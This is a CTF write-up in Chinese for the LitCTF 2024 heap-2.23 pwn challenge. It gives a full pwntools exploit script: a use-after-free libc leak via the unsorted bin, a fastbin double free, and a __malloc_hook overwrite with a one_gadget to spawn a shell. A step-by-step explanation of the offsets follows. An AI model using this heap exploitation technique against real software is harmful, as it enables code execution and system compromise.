0%

[[LitCTF 2024]heap-2.23] Icyice01的WP

2025-08-20 08:10By
Icyice
UAFmalloc_hook

Problem: [LitCTF 2024]heap-2.23

思路

  • 解题大致思路
    delete()中内存块被释放后,其对应的指针没有被设置为 NULL,存在UAF漏洞,且题目为libc-2.23.so

修改 malloc__hook 为 one_gadget

EXP

  • 具体攻击代码
from pwn import * context(os="linux", arch="amd64", log_level="debug") #io = process("./heap") io = remote("node4.anna.nssctf.cn", 28504) elf = ELF("./heap") libc = ELF("./libc.so.6") s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=False :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug(): gdb.attach(io) pause() def add(index, size): sla(b">>", b"1") sla(b"idx? ", str(index).encode()) sla(b"size?", str(size).encode()) def free(index): sla(b">>", b"2") sla(b"idx?", str(index).encode()) def show(index): sla(b">>", b"3") sla(b"idx?", str(index).encode()) def edit(index, content): sla(b">>", b"4") sla(b"idx?", str(index).encode()) sla(b"content :", content) add(0, 0x80) ## 释放的chunk大于0x80,大于 fastbin,第一次 free 的时候,都会先进入 unsorted bin add(1, 0x10) ## 让 idx 0 这块chunk在 free 时不与 top chunk 合并**,从而必然被挂到 unsorted bin free(0) ## 进入 unsorted bin ,chunk的Fd和Bk都会指向 (main_arena + 0x58) show(0) ## show()没有检查chunk的 inuse 状态,由于堆中的空间复用机制,会将 Fd 和 Bk 当作 use_data 打印出来 libc_base = u64(ru(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x3c4b78 ## libc 偏移:main_arena+0x58 在 2.23 常见为 0x3c4b78 ls(hex(libc_base)) one_gadget = [0x4527a, 0xf03a4, 0xf1247] ogg = libc_base + one_gadget[2] malloc_hook = libc_base + libc.sym['__malloc_hook'] add(2, 0x60) add(3, 0x60) free(2) free(3) ## 2.23 对 fastbin 的 double free 只阻止“连续两次释放同一指针”,所以用 free(A); free(B); free(A) 绕过 free(2) ## free(A); free(B); free(A) → fastbin 单链表变成:A -> B -> A(形成环头) edit(2, p64(malloc_hook - 0x23)) ## UAF:把 A 的 FD 指成 (__malloc_hook - 0x23) add(4, 0x60) ## -> A add(5, 0x60) ## -> fake @ (__malloc_hook - 0x23) edit(5, b"a"*(0x13) + p64(ogg)) ## 'a'*0x13 + p64(ogg) 就是把第 0x13 个字节处正好覆盖到 __malloc_hook add(6, 18) ia()

新人开始学习时的疑问

1. 泄露libc时,为什么要freed chunk 进 unsorted bin,其指针fd/bk 指向 main_arena,free chunk进入其他bins不行吗?比如fastbin,largebin
  • free 到 fastbin
    fastbin chunk 的 fd 并不是 libc 的地址,而只是链表里下一个 chunk 的指针(属于 heap 空间)。所以从 fastbin 无法直接泄露 libc。

  • free 到 smallbin / largebin
    这些 bin 的 fd/bk 会被设置为同 size bin 里的其它 chunk,只有在第一次进入 unsorted bin → 被切分/转移到 small/large bin 时,才会顺带写入 arena 指针
    单独 smallbin/largebin 的链表指针里不直接有 main_arena,而是别的 chunk 地址(仍然在 heap),也没法稳定算 libc 基址。

  • free 到 unsorted bin
    unsorted bin 是 free 后“第一落点”,glibc 会把 freed chunk 的 fdbk 填成 main_arena 的地址(main_arena+88main_arena+0x10 之类的)。这就给了我们一个稳定的 libc 内部指针
    所以 PWN 常用套路是:

    • 先 free 一个 non-fastbin 大小的 chunk(如 0x80 → 实际 size=0x90)。
    • 它必定进 unsorted bin,fd/bk 指针必定指向 main_arena
    • 读出来一算偏移,就得到 libc 基址。

👉 总结:
只有 unsorted bin 能“直接泄露 libc”,fastbin/smallbin/largebin 单独都不行。
这就是为什么几乎所有 2.23 的泄露 libc 脚本里都会先 free 一个 ~0x80/0x100 大小的块。

2. 为什么要其 FD 改为 __malloc_hook - 0x23,后面为什么要'A'*0x13 + p64(one_gadget),才能刚好把 __malloc_hook 覆盖为 one_gadget,为什么这样可以让让用户数据区中第一个 8 字节 正好对齐落在 __malloc_hook 上?

这涉及到 堆 chunk 结构malloc_hook 前面的对齐情况

(1) chunk 内存布局回顾

以 size=0x70(请求 0x60) 的 fastbin 为例:

chunk header (16B) [ prev_size ] (仅当 inuse=0时有效) [ size ] user data ...

所以你拿到的 ptr = malloc(0x60) 实际上返回的是 数据区起始,而不是 header。

(2) 我们伪造 chunk → malloc_hook-0x23

为什么 -0x23

  • malloc 在从 fastbin 拿出 chunk 时,只要保证对齐和 size 符合,它就会把 FD 当成“下一个 chunk 地址”。
  • 我们希望 malloc 返回的用户指针 正好对齐到一个能覆盖 __malloc_hook 的地方
  • 而在 glibc-2.23 中,__malloc_hook 附近布局是:
... 一些内部变量 ... __realloc_hook __malloc_hook ← 我们想覆盖的目标
  • 如果直接把 FD 改成 __malloc_hook,那么返回的 ptr 会从 __malloc_hook+0x10 开始(因为还要加上 header 大小对齐)。就对不准。
  • 所以要减去一个合适的偏移(0x23)让 malloc 返回的 用户数据起点,经过计算后落在 __malloc_hook 的前面。这样我们在用户数据里写第 0x13 个字节,就刚好覆盖到 __malloc_hook

(3) 为什么是 'A'*0x13 + p64(one_gadget)

  • malloc 返回的“fake chunk”的数据区其实是从 __malloc_hook-0x23 + 0x10 = __malloc_hook-0x13 开始的。
  • 换句话说,用户数据的起始位置比 __malloc_hook 早 0x13 字节
fake_chunk->user_data: [0x00 ... 0x12] 19字节 padding [0x13 ... 0x1A] <-- 这里正好是 __malloc_hook
  • 所以你必须先填充 'A'*0x13 把位置“走过去”,接下来写的 8 字节才正好覆盖 __malloc_hook

(4) 整个效果

  • edit(5, b"A"*0x13 + p64(one_gadget))
    → 前面 0x13 个字节无所谓
    → 紧接着的 8 字节,准确落在 __malloc_hook 上,改成 one_gadget 地址。
  • 再次 malloc → 触发 __malloc_hook → 跳进 one_gadget → shell。

👉 总结一句:
-0x23 是为了让 malloc 返回的 fake chunk user_data __malloc_hook 早 0x13
'A'*0x13 + p64(one_gadget) 就是把第 0x13 个字节处正好覆盖到 __malloc_hook

总结

  • 对该题的考点总结
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论